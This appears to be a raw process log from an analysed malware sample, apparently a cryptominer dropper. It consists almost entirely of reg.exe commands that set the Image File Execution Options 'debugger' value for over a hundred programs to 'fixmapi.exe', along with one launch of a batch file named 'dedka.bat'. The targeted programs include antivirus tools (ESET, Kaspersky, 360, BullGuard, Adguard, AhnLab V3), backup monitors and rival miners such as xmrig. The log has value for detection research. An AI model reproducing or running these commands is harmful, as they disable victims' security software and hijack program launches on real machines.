'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetLibrary.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetFramework.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\cmd.exe' /c ""<Current directory>\dedka.bat" "
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\servidor.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icsys.icn.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SRService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrsst.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bmc-cpu.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Wprehwc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SRManager.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HostStore.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHActiveSecurity.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSvchost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolvs.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tmmt.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tmmt64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bmc-cpu-32" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrssl.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SRFeature.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\update-app.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Taskmrg.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemDriveHost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VVUDFHost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bcn.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-api.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windrws.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xmrig.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Conime.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\brosec.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\network-app.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TaskManagerService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wuauser.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winidow.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSetting.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\servicess.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchosts.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\StartUpTool_w.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_opt_AVX2_AES.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NsCpuCNMiner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CCleaner64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KSafeTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CCleaner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WMIC.exe.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchosd.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mine_mx.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\update-api.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-app.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemF0D7.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HostXmrig.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spsvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vmms.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mqtgcvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\srvan.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cbVSCService11.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrueImageMonitor.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ssyncer.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\qimlsrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQExternal.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dsrviml.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WUDFHost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\redsurf.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ROMFUSClient.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\eset_antivirus.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UI0detect.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-update.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system64" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Adguard.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SBAMSvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MtxHotPlugService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wuauclm.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systrays.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchobst.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetGoodBar.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuard.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\THGuard.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdAwareTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vcsvcc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrsc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sgbider.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Logo.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Wiswqcs.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Zpgiupy.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hmac.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ytbrowser.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ytpumpchrome.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\StSess.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smBootTime.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DTLEP.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nsbu.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UninstallMonitor.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\shost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msbtce.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SFAUpdater.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe(1)" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\updata.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LP.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rvlkl.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sessmgr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ingloca.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\V3Lite.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\V3SP.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.com" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vcsvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Vip Slow.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchos.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Systms.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Systmss.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rutserv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LoadStat.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QuikProtect.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windrvs.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QpMonitor.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlock.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dwmr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccSvcHst.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InoRPC.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ByteFence.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KasAVSrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\jixlea.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360tray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BrowserManagerGUI.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BrowserManager.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BrowserManagerShow.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\skrolls.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svcohst.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PSUAMain.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scclient.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Javaj.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Antivirus_Free_Edition_x86.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InstantSupport.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hitleap-viewer.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hitleap-viewer-browser.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TINY.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explores.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sys.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lass.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CpService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchots.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VIRITSVC.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InoRT.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InoTask.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Realmon.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
